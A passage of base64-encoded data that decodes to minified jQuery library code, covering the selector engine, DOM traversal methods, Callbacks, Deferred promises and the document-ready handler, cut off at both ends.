ixyPWUubGVuZ3RoLG89Yi5yZWxhdGl2ZVtlWzBdLnR5cGVdLGE9b3x8Yi5yZWxhdGl2ZVsiICJdLHM9bz8xOjAsdT1iZShmdW5jdGlvbihlKXtyZXR1cm4gZT09PWl9LGEsITApLGw9YmUoZnVuY3Rpb24oZSl7cmV0dXJuLTE8UChpLGUpfSxhLCEwKSxjPVtmdW5jdGlvbihlLHQsbil7dmFyIHI9IW8mJihufHx0IT09dyl8fCgoaT10KS5ub2RlVHlwZT91KGUsdCxuKTpsKGUsdCxuKSk7cmV0dXJuIGk9bnVsbCxyfV07czxyO3MrKylpZih0PWIucmVsYXRpdmVbZVtzXS50eXBlXSljPVtiZSh3ZShjKSx0KV07ZWxzZXtpZigodD1iLmZpbHRlcltlW3NdLnR5cGVdLmFwcGx5KG51bGwsZVtzXS5tYXRjaGVzKSlbU10pe2ZvcihuPSsrcztuPHI7bisrKWlmKGIucmVsYXRpdmVbZVtuXS50eXBlXSlicmVhaztyZXR1cm4gQ2UoMTxzJiZ3ZShjKSwxPHMmJnhlKGUuc2xpY2UoMCxzLTEpLmNvbmNhdCh7dmFsdWU6IiAiPT09ZVtzLTJdLnR5cGU/IioiOiIifSkpLnJlcGxhY2UoJCwiJDEiKSx0LHM8biYmRWUoZS5zbGljZShzLG4pKSxuPHImJkVlKGU9ZS5zbGljZShuKSksbjxyJiZ4ZShlKSl9Yy5wdXNoKHQpfXJldHVybiB3ZShjKX1yZXR1cm4gbWUucHJvdG90eXBlPWIuZmlsdGVycz1iLnBzZXVkb3MsYi5zZXRGaWx0ZXJzPW5ldyBtZSxoPXNlLnRva2VuaXplPWZ1bmN0aW9uKGUsdCl7dmFyIG4scixpLG8sYSxzLHUsbD14W2UrIiAiXTtpZihsKXJldHVybiB0PzA6bC5zbGljZSgwKTthPWUscz1bXSx1PWIucHJlRmlsdGVyO3doaWxlKGEpe2ZvcihvIGluIG4mJiEocj1fLmV4ZWMoYSkpfHwociYmKGE9YS5zbGljZShyWzBdLmxlbmd0aCl8fGEpLHMucHVzaChpPVtdKSksbj0hMSwocj16LmV4ZWMoYSkpJiYobj1yLnNoaWZ0KCksaS5wdXNoKHt2YWx1ZTpuLHR5cGU6clswXS5yZXBsYWNlKCQsIiAiKX0pLGE9YS5zbGljZShuLmxlbmd0aCkpLGIuZmlsdGVyKSEocj1HW29dLmV4ZWMoYSkpfHx1W29dJiYhKHI9dVtvXShyKSl8fChuPXIuc2hpZnQoKSxpLnB1c2goe3ZhbHVlOm4sdHlwZTpvLG1hdGNoZXM6cn0pLGE9YS5zbGljZShuLmxlbmd0aCkpO2lmKCFuKWJyZWFrfXJldHVybiB0P2EubGVuZ3RoOmE/c2UuZXJyb3IoZSk6eChlLHMpLnNsaWNlKDApfSxmPXNlLmNvbXBpbGU9ZnVuY3Rpb24oZSx0KXt2YXIgbix2LHksbSx4LHIsaT1bXSxvPVtdLGE9QVtlKyIgIl07aWYoIWEpe3R8fCh0PWgoZSkpLG49dC5sZW5ndGg7d2hpbGUobi0tKShhPUVlKHRbbl0pKVtTXT9pLnB1c2goYSk6by5wdXNoKGEpOyhhPUEoZSwodj1vLG09MDwoeT1pKS5sZW5ndGgseD0wPHYubGVuZ3RoLHI9ZnVuY3Rpb24oZSx0LG4scixpKXt2YXIgbyxhLHMsdT0wLGw9IjAiLGM9ZSYmW10sZj1bXSxwPXcsZD1lfHx4JiZiLmZpbmQuVEFHKCIqIixpKSxoPWsrPW51bGw9PXA/MTpNYXRoLnJhbmRvbSgpfHwuMSxnPWQubGVuZ3RoO2ZvcihpJiYodz10PT1DfHx0fHxpKTtsIT09ZyYmbnVsbCE9KG89ZFtsXSk7bCsrKXtpZih4JiZvKXthPTAsdHx8by5vd25lckRvY3VtZW50PT1DfHwoVChvKSxuPSFFKTt3aGlsZShzPXZbYSsrXSlpZihzKG8sdHx8QyxuKSl7ci5wdXNoKG8pO2JyZWFrfWkmJihrPWgpfW0mJigobz0hcyYmbykmJnUtLSxlJiZjLnB1c2gobykpfWlmKHUrPWwsbSYmbCE9PXUpe2E9MDt3aGlsZShzPXlbYSsrXSlzKGMsZix0LG4pO2lmKGUpe2lmKDA8dSl3aGlsZShsLS0pY1tsXXx8ZltsXXx8KGZbbF09cS5jYWxsKHIpKTtmPVRlKGYpfUguYXBwbHkocixmKSxpJiYhZSYmMDxmLmxlbmd0aCYmMTx1K3kubGVuZ3RoJiZzZS51bmlxdWVTb3J0KHIpfXJldHVybiBpJiYoaz1oLHc9cCksY30sbT9sZShyKTpyKSkpLnNlbGVjdG9yPWV9cmV0dXJuIGF9LGc9c2Uuc2VsZWN0PWZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpLG8sYSxzLHUsbD0iZnVuY3Rpb24iPT10eXBlb2YgZSYmZSxjPSFyJiZoKGU9bC5zZWxlY3Rvcnx8ZSk7aWYobj1ufHxbXSwxPT09Yy5sZW5ndGgpe2lmKDI8KG89Y1swXT1jWzBdLnNsaWNlKDApKS5sZW5ndGgmJiJJRCI9PT0oYT1vWzBdKS50eXBlJiY5PT09dC5ub2RlVHlwZSYmRSYmYi5yZWxhdGl2ZVtvWzFdLnR5cGVdKXtpZighKHQ9KGIuZmluZC5JRChhLm1hdGNoZXNbMF0ucmVwbGFjZSh0ZSxuZSksdCl8fFtdKVswXSkpcmV0dXJuIG47bCYmKHQ9dC5wYXJlbnROb2RlKSxlPWUuc2xpY2Uoby5zaGlmdCgpLnZhbHVlLmxlbmd0aCl9aT1HLm5lZWRzQ29udGV4dC50ZXN0KGUpPzA6by5sZW5ndGg7d2hpbGUoaS0tKXtpZihhPW9baV0sYi5yZWxhdGl2ZVtzPWEudHlwZV0pYnJlYWs7aWYoKHU9Yi5maW5kW3NdKSYmKHI9dShhLm1hdGNoZXNbMF0ucmVwbGFjZSh0ZSxuZSksZWUudGVzdChvWzBdLnR5cGUpJiZ5ZSh0LnBhcmVudE5vZGUpfHx0KSkpe2lmKG8uc3BsaWNlKGksMSksIShlPXIubGVuZ3RoJiZ4ZShvKSkpcmV0dXJuIEguYXBwbHkobixyKSxuO2JyZWFrfX19cmV0dXJuKGx8fGYoZSxjKSkocix0LCFFLG4sIXR8fGVlLnRlc3QoZSkmJnllKHQucGFyZW50Tm9kZSl8fHQpLG59LGQuc29ydFN0YWJsZT1TLnNwbGl0KCIiKS5zb3J0KEQpLmpvaW4oIiIpPT09UyxkLmRldGVjdER1cGxpY2F0ZXM9ISFsLFQoKSxkLnNvcnREZXRhY2hlZD1jZShmdW5jdGlvbihlKXtyZXR1cm4gMSZlLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKEMuY3JlYXRlRWxlbWVudCgiZmllbGRzZXQiKSl9KSxjZShmdW5jdGlvbihlKXtyZXR1cm4gZS5pbm5lckhUTUw9IjxhIGhyZWY9JyMnPjwvYT4iLCIjIj09PWUuZmlyc3RDaGlsZC5nZXRBdHRyaWJ1dGUoImhyZWYiKX0pfHxmZSgidHlwZXxocmVmfGhlaWdodHx3aWR0aCIsZnVuY3Rpb24oZSx0LG4pe2lmKCFuKXJldHVybiBlLmdldEF0dHJpYnV0ZSh0LCJ0eXBlIj09PXQudG9Mb3dlckNhc2UoKT8xOjIpfSksZC5hdHRyaWJ1dGVzJiZjZShmdW5jdGlvbihlKXtyZXR1cm4gZS5pbm5lckhUTUw9IjxpbnB1dC8+IixlLmZpcnN0Q2hpbGQuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIiIpLCIiPT09ZS5maXJzdENoaWxkLmdldEF0dHJpYnV0ZSgidmFsdWUiKX0pfHxmZSgidmFsdWUiLGZ1bmN0aW9uKGUsdCxuKXtpZighbiYmImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSlyZXR1cm4gZS5kZWZhdWx0VmFsdWV9KSxjZShmdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09ZS5nZXRBdHRyaWJ1dGUoImRpc2FibGVkIil9KXx8ZmUoUixmdW5jdGlvbihlLHQsbil7dmFyIHI7aWYoIW4pcmV0dXJuITA9PT1lW3RdP3QudG9Mb3dlckNhc2UoKToocj1lLmdldEF0dHJpYnV0ZU5vZGUodCkpJiZyLnNwZWNpZmllZD9yLnZhbHVlOm51bGx9KSxzZX0oQyk7Uy5maW5kPWQsUy5leHByPWQuc2VsZWN0b3JzLFMuZXhwclsiOiJdPVMuZXhwci5wc2V1ZG9zLFMudW5pcXVlU29ydD1TLnVuaXF1ZT1kLnVuaXF1ZVNvcnQsUy50ZXh0PWQuZ2V0VGV4dCxTLmlzWE1MRG9jPWQuaXNYTUwsUy5jb250YWlucz1kLmNvbnRhaW5zLFMuZXNjYXBlU2VsZWN0b3I9ZC5lc2NhcGU7dmFyIGg9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPVtdLGk9dm9pZCAwIT09bjt3aGlsZSgoZT1lW3RdKSYmOSE9PWUubm9kZVR5cGUpaWYoMT09PWUubm9kZVR5cGUpe2lmKGkmJlMoZSkuaXMobikpYnJlYWs7ci5wdXNoKGUpfXJldHVybiByfSxUPWZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBuPVtdO2U7ZT1lLm5leHRTaWJsaW5nKTE9PT1lLm5vZGVUeXBlJiZlIT09dCYmbi5wdXNoKGUpO3JldHVybiBufSxrPVMuZXhwci5tYXRjaC5uZWVkc0NvbnRleHQ7ZnVuY3Rpb24gQShlLHQpe3JldHVybiBlLm5vZGVOYW1lJiZlLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT10LnRvTG93ZXJDYXNlKCl9dmFyIE49L148KFthLXpdW15cL1wwPjpceDIwXHRcclxuXGZdKilbXHgyMFx0XHJcblxmXSpcLz8+KD86PFwvXDE+fCkkL2k7ZnVuY3Rpb24gRChlLG4scil7cmV0dXJuIG0obik/Uy5ncmVwKGUsZnVuY3Rpb24oZSx0KXtyZXR1cm4hIW4uY2FsbChlLHQsZSkhPT1yfSk6bi5ub2RlVHlwZT9TLmdyZXAoZSxmdW5jdGlvbihlKXtyZXR1cm4gZT09PW4hPT1yfSk6InN0cmluZyIhPXR5cGVvZiBuP1MuZ3JlcChlLGZ1bmN0aW9uKGUpe3JldHVybi0xPGkuY2FsbChuLGUpIT09cn0pOlMuZmlsdGVyKG4sZSxyKX1TLmZpbHRlcj1mdW5jdGlvbihlLHQsbil7dmFyIHI9dFswXTtyZXR1cm4gbiYmKGU9Ijpub3QoIitlKyIpIiksMT09PXQubGVuZ3RoJiYxPT09ci5ub2RlVHlwZT9TLmZpbmQubWF0Y2hlc1NlbGVjdG9yKHIsZSk/W3JdOltdOlMuZmluZC5tYXRjaGVzKGUsUy5ncmVwKHQsZnVuY3Rpb24oZSl7cmV0dXJuIDE9PT1lLm5vZGVUeXBlfSkpfSxTLmZuLmV4dGVuZCh7ZmluZDpmdW5jdGlvbihlKXt2YXIgdCxuLHI9dGhpcy5sZW5ndGgsaT10aGlzO2lmKCJzdHJpbmciIT10eXBlb2YgZSlyZXR1cm4gdGhpcy5wdXNoU3RhY2soUyhlKS5maWx0ZXIoZnVuY3Rpb24oKXtmb3IodD0wO3Q8cjt0KyspaWYoUy5jb250YWlucyhpW3RdLHRoaXMpKXJldHVybiEwfSkpO2ZvcihuPXRoaXMucHVzaFN0YWNrKFtdKSx0PTA7dDxyO3QrKylTLmZpbmQoZSxpW3RdLG4pO3JldHVybiAxPHI/Uy51bmlxdWVTb3J0KG4pOm59LGZpbHRlcjpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soRCh0aGlzLGV8fFtdLCExKSl9LG5vdDpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soRCh0aGlzLGV8fFtdLCEwKSl9LGlzOmZ1bmN0aW9uKGUpe3JldHVybiEhRCh0aGlzLCJzdHJpbmciPT10eXBlb2YgZSYmay50ZXN0KGUpP1MoZSk6ZXx8W10sITEpLmxlbmd0aH19KTt2YXIgaixxPS9eKD86XHMqKDxbXHdcV10rPilbXj5dKnwjKFtcdy1dKykpJC87KFMuZm4uaW5pdD1mdW5jdGlvbihlLHQsbil7dmFyIHIsaTtpZighZSlyZXR1cm4gdGhpcztpZihuPW58fGosInN0cmluZyI9PXR5cGVvZiBlKXtpZighKHI9IjwiPT09ZVswXSYmIj4iPT09ZVtlLmxlbmd0aC0xXSYmMzw9ZS5sZW5ndGg/W251bGwsZSxudWxsXTpxLmV4ZWMoZSkpfHwhclsxXSYmdClyZXR1cm4hdHx8dC5qcXVlcnk/KHR8fG4pLmZpbmQoZSk6dGhpcy5jb25zdHJ1Y3Rvcih0KS5maW5kKGUpO2lmKHJbMV0pe2lmKHQ9dCBpbnN0YW5jZW9mIFM/dFswXTp0LFMubWVyZ2UodGhpcyxTLnBhcnNlSFRNTChyWzFdLHQmJnQubm9kZVR5cGU/dC5vd25lckRvY3VtZW50fHx0OkUsITApKSxOLnRlc3QoclsxXSkmJlMuaXNQbGFpbk9iamVjdCh0KSlmb3IociBpbiB0KW0odGhpc1tyXSk/dGhpc1tyXSh0W3JdKTp0aGlzLmF0dHIocix0W3JdKTtyZXR1cm4gdGhpc31yZXR1cm4oaT1FLmdldEVsZW1lbnRCeUlkKHJbMl0pKSYmKHRoaXNbMF09aSx0aGlzLmxlbmd0aD0xKSx0aGlzfXJldHVybiBlLm5vZGVUeXBlPyh0aGlzWzBdPWUsdGhpcy5sZW5ndGg9MSx0aGlzKTptKGUpP3ZvaWQgMCE9PW4ucmVhZHk/bi5yZWFkeShlKTplKFMpOlMubWFrZUFycmF5KGUsdGhpcyl9KS5wcm90b3R5cGU9Uy5mbixqPVMoRSk7dmFyIEw9L14oPzpwYXJlbnRzfHByZXYoPzpVbnRpbHxBbGwpKS8sSD17Y2hpbGRyZW46ITAsY29udGVudHM6ITAsbmV4dDohMCxwcmV2OiEwfTtmdW5jdGlvbiBPKGUsdCl7d2hpbGUoKGU9ZVt0XSkmJjEhPT1lLm5vZGVUeXBlKTtyZXR1cm4gZX1TLmZuLmV4dGVuZCh7aGFzOmZ1bmN0aW9uKGUpe3ZhciB0PVMoZSx0aGlzKSxuPXQubGVuZ3RoO3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe2Zvcih2YXIgZT0wO2U8bjtlKyspaWYoUy5jb250YWlucyh0aGlzLHRbZV0pKXJldHVybiEwfSl9LGNsb3Nlc3Q6ZnVuY3Rpb24oZSx0KXt2YXIgbixyPTAsaT10aGlzLmxlbmd0aCxvPVtdLGE9InN0cmluZyIhPXR5cGVvZiBlJiZTKGUpO2lmKCFrLnRlc3QoZSkpZm9yKDtyPGk7cisrKWZvcihuPXRoaXNbcl07biYmbiE9PXQ7bj1uLnBhcmVudE5vZGUpaWYobi5ub2RlVHlwZTwxMSYmKGE/LTE8YS5pbmRleChuKToxPT09bi5ub2RlVHlwZSYmUy5maW5kLm1hdGNoZXNTZWxlY3RvcihuLGUpKSl7by5wdXNoKG4pO2JyZWFrfXJldHVybiB0aGlzLnB1c2hTdGFjaygxPG8ubGVuZ3RoP1MudW5pcXVlU29ydChvKTpvKX0saW5kZXg6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/InN0cmluZyI9PXR5cGVvZiBlP2kuY2FsbChTKGUpLHRoaXNbMF0pOmkuY2FsbCh0aGlzLGUuanF1ZXJ5P2VbMF06ZSk6dGhpc1swXSYmdGhpc1swXS5wYXJlbnROb2RlP3RoaXMuZmlyc3QoKS5wcmV2QWxsKCkubGVuZ3RoOi0xfSxhZGQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soUy51bmlxdWVTb3J0KFMubWVyZ2UodGhpcy5nZXQoKSxTKGUsdCkpKSl9LGFkZEJhY2s6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuYWRkKG51bGw9PWU/dGhpcy5wcmV2T2JqZWN0OnRoaXMucHJldk9iamVjdC5maWx0ZXIoZSkpfX0pLFMuZWFjaCh7cGFyZW50OmZ1bmN0aW9uKGUpe3ZhciB0PWUucGFyZW50Tm9kZTtyZXR1cm4gdCYmMTEhPT10Lm5vZGVUeXBlP3Q6bnVsbH0scGFyZW50czpmdW5jdGlvbihlKXtyZXR1cm4gaChlLCJwYXJlbnROb2RlIil9LHBhcmVudHNVbnRpbDpmdW5jdGlvbihlLHQsbil7cmV0dXJuIGgoZSwicGFyZW50Tm9kZSIsbil9LG5leHQ6ZnVuY3Rpb24oZSl7cmV0dXJuIE8oZSwibmV4dFNpYmxpbmciKX0scHJldjpmdW5jdGlvbihlKXtyZXR1cm4gTyhlLCJwcmV2aW91c1NpYmxpbmciKX0sbmV4dEFsbDpmdW5jdGlvbihlKXtyZXR1cm4gaChlLCJuZXh0U2libGluZyIpfSxwcmV2QWxsOmZ1bmN0aW9uKGUpe3JldHVybiBoKGUsInByZXZpb3VzU2libGluZyIpfSxuZXh0VW50aWw6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBoKGUsIm5leHRTaWJsaW5nIixuKX0scHJldlVudGlsOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gaChlLCJwcmV2aW91c1NpYmxpbmciLG4pfSxzaWJsaW5nczpmdW5jdGlvbihlKXtyZXR1cm4gVCgoZS5wYXJlbnROb2RlfHx7fSkuZmlyc3RDaGlsZCxlKX0sY2hpbGRyZW46ZnVuY3Rpb24oZSl7cmV0dXJuIFQoZS5maXJzdENoaWxkKX0sY29udGVudHM6ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGwhPWUuY29udGVudERvY3VtZW50JiZyKGUuY29udGVudERvY3VtZW50KT9lLmNvbnRlbnREb2N1bWVudDooQShlLCJ0ZW1wbGF0ZSIpJiYoZT1lLmNvbnRlbnR8fGUpLFMubWVyZ2UoW10sZS5jaGlsZE5vZGVzKSl9fSxmdW5jdGlvbihyLGkpe1MuZm5bcl09ZnVuY3Rpb24oZSx0KXt2YXIgbj1TLm1hcCh0aGlzLGksZSk7cmV0dXJuIlVudGlsIiE9PXIuc2xpY2UoLTUpJiYodD1lKSx0JiYic3RyaW5nIj09dHlwZW9mIHQmJihuPVMuZmlsdGVyKHQsbikpLDE8dGhpcy5sZW5ndGgmJihIW3JdfHxTLnVuaXF1ZVNvcnQobiksTC50ZXN0KHIpJiZuLnJldmVyc2UoKSksdGhpcy5wdXNoU3RhY2sobil9fSk7dmFyIFA9L1teXHgyMFx0XHJcblxmXSsvZztmdW5jdGlvbiBSKGUpe3JldHVybiBlfWZ1bmN0aW9uIE0oZSl7dGhyb3cgZX1mdW5jdGlvbiBJKGUsdCxuLHIpe3ZhciBpO3RyeXtlJiZtKGk9ZS5wcm9taXNlKT9pLmNhbGwoZSkuZG9uZSh0KS5mYWlsKG4pOmUmJm0oaT1lLnRoZW4pP2kuY2FsbChlLHQsbik6dC5hcHBseSh2b2lkIDAsW2VdLnNsaWNlKHIpKX1jYXRjaChlKXtuLmFwcGx5KHZvaWQgMCxbZV0pfX1TLkNhbGxiYWNrcz1mdW5jdGlvbihyKXt2YXIgZSxuO3I9InN0cmluZyI9PXR5cGVvZiByPyhlPXIsbj17fSxTLmVhY2goZS5tYXRjaChQKXx8W10sZnVuY3Rpb24oZSx0KXtuW3RdPSEwfSksbik6Uy5leHRlbmQoe30scik7dmFyIGksdCxvLGEscz1bXSx1PVtdLGw9LTEsYz1mdW5jdGlvbigpe2ZvcihhPWF8fHIub25jZSxvPWk9ITA7dS5sZW5ndGg7bD0tMSl7dD11LnNoaWZ0KCk7d2hpbGUoKytsPHMubGVuZ3RoKSExPT09c1tsXS5hcHBseSh0WzBdLHRbMV0pJiZyLnN0b3BPbkZhbHNlJiYobD1zLmxlbmd0aCx0PSExKX1yLm1lbW9yeXx8KHQ9ITEpLGk9ITEsYSYmKHM9dD9bXToiIil9LGY9e2FkZDpmdW5jdGlvbigpe3JldHVybiBzJiYodCYmIWkmJihsPXMubGVuZ3RoLTEsdS5wdXNoKHQpKSxmdW5jdGlvbiBuKGUpe1MuZWFjaChlLGZ1bmN0aW9uKGUsdCl7bSh0KT9yLnVuaXF1ZSYmZi5oYXModCl8fHMucHVzaCh0KTp0JiZ0Lmxlbmd0aCYmInN0cmluZyIhPT13KHQpJiZuKHQpfSl9KGFyZ3VtZW50cyksdCYmIWkmJmMoKSksdGhpc30scmVtb3ZlOmZ1bmN0aW9uKCl7cmV0dXJuIFMuZWFjaChhcmd1bWVudHMsZnVuY3Rpb24oZSx0KXt2YXIgbjt3aGlsZSgtMTwobj1TLmluQXJyYXkodCxzLG4pKSlzLnNwbGljZShuLDEpLG48PWwmJmwtLX0pLHRoaXN9LGhhczpmdW5jdGlvbihlKXtyZXR1cm4gZT8tMTxTLmluQXJyYXkoZSxzKTowPHMubGVuZ3RofSxlbXB0eTpmdW5jdGlvbigpe3JldHVybiBzJiYocz1bXSksdGhpc30sZGlzYWJsZTpmdW5jdGlvbigpe3JldHVybiBhPXU9W10scz10PSIiLHRoaXN9LGRpc2FibGVkOmZ1bmN0aW9uKCl7cmV0dXJuIXN9LGxvY2s6ZnVuY3Rpb24oKXtyZXR1cm4gYT11PVtdLHR8fGl8fChzPXQ9IiIpLHRoaXN9LGxvY2tlZDpmdW5jdGlvbigpe3JldHVybiEhYX0sZmlyZVdpdGg6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gYXx8KHQ9W2UsKHQ9dHx8W10pLnNsaWNlP3Quc2xpY2UoKTp0XSx1LnB1c2godCksaXx8YygpKSx0aGlzfSxmaXJlOmZ1bmN0aW9uKCl7cmV0dXJuIGYuZmlyZVdpdGgodGhpcyxhcmd1bWVudHMpLHRoaXN9LGZpcmVkOmZ1bmN0aW9uKCl7cmV0dXJuISFvfX07cmV0dXJuIGZ9LFMuZXh0ZW5kKHtEZWZlcnJlZDpmdW5jdGlvbihlKXt2YXIgbz1bWyJub3RpZnkiLCJwcm9ncmVzcyIsUy5DYWxsYmFja3MoIm1lbW9yeSIpLFMuQ2FsbGJhY2tzKCJtZW1vcnkiKSwyXSxbInJlc29sdmUiLCJkb25lIixTLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSxTLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSwwLCJyZXNvbHZlZCJdLFsicmVqZWN0IiwiZmFpbCIsUy5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksUy5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksMSwicmVqZWN0ZWQiXV0saT0icGVuZGluZyIsYT17c3RhdGU6ZnVuY3Rpb24oKXtyZXR1cm4gaX0sYWx3YXlzOmZ1bmN0aW9uKCl7cmV0dXJuIHMuZG9uZShhcmd1bWVudHMpLmZhaWwoYXJndW1lbnRzKSx0aGlzfSwiY2F0Y2giOmZ1bmN0aW9uKGUpe3JldHVybiBhLnRoZW4obnVsbCxlKX0scGlwZTpmdW5jdGlvbigpe3ZhciBpPWFyZ3VtZW50cztyZXR1cm4gUy5EZWZlcnJlZChmdW5jdGlvbihyKXtTLmVhY2gobyxmdW5jdGlvbihlLHQpe3ZhciBuPW0oaVt0WzRdXSkmJmlbdFs0XV07c1t0WzFdXShmdW5jdGlvbigpe3ZhciBlPW4mJm4uYXBwbHkodGhpcyxhcmd1bWVudHMpO2UmJm0oZS5wcm9taXNlKT9lLnByb21pc2UoKS5wcm9ncmVzcyhyLm5vdGlmeSkuZG9uZShyLnJlc29sdmUpLmZhaWwoci5yZWplY3QpOnJbdFswXSsiV2l0aCJdKHRoaXMsbj9bZV06YXJndW1lbnRzKX0pfSksaT1udWxsfSkucHJvbWlzZSgpfSx0aGVuOmZ1bmN0aW9uKHQsbixyKXt2YXIgdT0wO2Z1bmN0aW9uIGwoaSxvLGEscyl7cmV0dXJuIGZ1bmN0aW9uKCl7dmFyIG49dGhpcyxyPWFyZ3VtZW50cyxlPWZ1bmN0aW9uKCl7dmFyIGUsdDtpZighKGk8dSkpe2lmKChlPWEuYXBwbHkobixyKSk9PT1vLnByb21pc2UoKSl0aHJvdyBuZXcgVHlwZUVycm9yKCJUaGVuYWJsZSBzZWxmLXJlc29sdXRpb24iKTt0PWUmJigib2JqZWN0Ij09dHlwZW9mIGV8fCJmdW5jdGlvbiI9PXR5cGVvZiBlKSYmZS50aGVuLG0odCk/cz90LmNhbGwoZSxsKHUsbyxSLHMpLGwodSxvLE0scykpOih1KyssdC5jYWxsKGUsbCh1LG8sUixzKSxsKHUsbyxNLHMpLGwodSxvLFIsby5ub3RpZnlXaXRoKSkpOihhIT09UiYmKG49dm9pZCAwLHI9W2VdKSwoc3x8by5yZXNvbHZlV2l0aCkobixyKSl9fSx0PXM/ZTpmdW5jdGlvbigpe3RyeXtlKCl9Y2F0Y2goZSl7Uy5EZWZlcnJlZC5leGNlcHRpb25Ib29rJiZTLkRlZmVycmVkLmV4Y2VwdGlvbkhvb2soZSx0LnN0YWNrVHJhY2UpLHU8PWkrMSYmKGEhPT1NJiYobj12b2lkIDAscj1bZV0pLG8ucmVqZWN0V2l0aChuLHIpKX19O2k/dCgpOihTLkRlZmVycmVkLmdldFN0YWNrSG9vayYmKHQuc3RhY2tUcmFjZT1TLkRlZmVycmVkLmdldFN0YWNrSG9vaygpKSxDLnNldFRpbWVvdXQodCkpfX1yZXR1cm4gUy5EZWZlcnJlZChmdW5jdGlvbihlKXtvWzBdWzNdLmFkZChsKDAsZSxtKHIpP3I6UixlLm5vdGlmeVdpdGgpKSxvWzFdWzNdLmFkZChsKDAsZSxtKHQpP3Q6UikpLG9bMl1bM10uYWRkKGwoMCxlLG0obik/bjpNKSl9KS5wcm9taXNlKCl9LHByb21pc2U6ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGwhPWU/Uy5leHRlbmQoZSxhKTphfX0scz17fTtyZXR1cm4gUy5lYWNoKG8sZnVuY3Rpb24oZSx0KXt2YXIgbj10WzJdLHI9dFs1XTthW3RbMV1dPW4uYWRkLHImJm4uYWRkKGZ1bmN0aW9uKCl7aT1yfSxvWzMtZV1bMl0uZGlzYWJsZSxvWzMtZV1bM10uZGlzYWJsZSxvWzBdWzJdLmxvY2ssb1swXVszXS5sb2NrKSxuLmFkZCh0WzNdLmZpcmUpLHNbdFswXV09ZnVuY3Rpb24oKXtyZXR1cm4gc1t0WzBdKyJXaXRoIl0odGhpcz09PXM/dm9pZCAwOnRoaXMsYXJndW1lbnRzKSx0aGlzfSxzW3RbMF0rIldpdGgiXT1uLmZpcmVXaXRofSksYS5wcm9taXNlKHMpLGUmJmUuY2FsbChzLHMpLHN9LHdoZW46ZnVuY3Rpb24oZSl7dmFyIG49YXJndW1lbnRzLmxlbmd0aCx0PW4scj1BcnJheSh0KSxpPXMuY2FsbChhcmd1bWVudHMpLG89Uy5EZWZlcnJlZCgpLGE9ZnVuY3Rpb24odCl7cmV0dXJuIGZ1bmN0aW9uKGUpe3JbdF09dGhpcyxpW3RdPTE8YXJndW1lbnRzLmxlbmd0aD9zLmNhbGwoYXJndW1lbnRzKTplLC0tbnx8by5yZXNvbHZlV2l0aChyLGkpfX07aWYobjw9MSYmKEkoZSxvLmRvbmUoYSh0KSkucmVzb2x2ZSxvLnJlamVjdCwhbiksInBlbmRpbmciPT09by5zdGF0ZSgpfHxtKGlbdF0mJmlbdF0udGhlbikpKXJldHVybiBvLnRoZW4oKTt3aGlsZSh0LS0pSShpW3RdLGEodCksby5yZWplY3QpO3JldHVybiBvLnByb21pc2UoKX19KTt2YXIgVz0vXihFdmFsfEludGVybmFsfFJhbmdlfFJlZmVyZW5jZXxTeW50YXh8VHlwZXxVUkkpRXJyb3IkLztTLkRlZmVycmVkLmV4Y2VwdGlvbkhvb2s9ZnVuY3Rpb24oZSx0KXtDLmNvbnNvbGUmJkMuY29uc29sZS53YXJuJiZlJiZXLnRlc3QoZS5uYW1lKSYmQy5jb25zb2xlLndhcm4oImpRdWVyeS5EZWZlcnJlZCBleGNlcHRpb246ICIrZS5tZXNzYWdlLGUuc3RhY2ssdCl9LFMucmVhZHlFeGNlcHRpb249ZnVuY3Rpb24oZSl7Qy5zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dGhyb3cgZX0pfTt2YXIgRj1TLkRlZmVycmVkKCk7ZnVuY3Rpb24gQigpe0UucmVtb3ZlRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsQiksQy5yZW1vdmVFdmVudExpc3RlbmVyKCJsb2FkIixCKSxTLnJlYWR5KCl9Uy5mbi5yZWFkeT1mdW5jdGlvbihlKXtyZXR1cm4gRi50aGVuKGUpWyJjYXRjaCJdKGZ1bmN0aW9uKGUpe1MucmVhZHlFeGNlcHRpb24oZSl9KSx0aGlzfSxTLmV4dGVuZCh7aXNSZWFkeTohMSxyZWFkeVdhaXQ6MSxyZWFkeTpmdW5jdGlvbihlKXsoITA9PT1lPy0tUy5yZWFkeVdhaXQ6Uy5pc1JlYWR5KXx8KFMuaXNSZWFkeT0hMCkhPT1lJiYwPC0tUy5yZWFkeVdhaXR8fEYucmVzb2x2ZVdpdGgoRSxbU10pfX0pLFMucmVhZHkudGhlbj1GLnRoZW4sImNvbXBsZXRlIj09PUUucmVhZHlTdGF0ZXx8ImxvYWRpbmciIT09RS5yZWFkeVN0YXRlJiYhRS5kb2N1bWVudEVsZW1lbnQuZG9TY3JvbGw/Qy5zZXRUaW1lb3V0KFMucmVhZHkpOihFLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLEIpLEMuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsQikpO3ZhciAkPWZ1bmN0aW9uKGUsdCxuLHIsaSxvLGEpe3ZhciBzPTAsdT1lLmxlbmd0aCxsPW51bGw9PW47aWYoIm9iamVjdC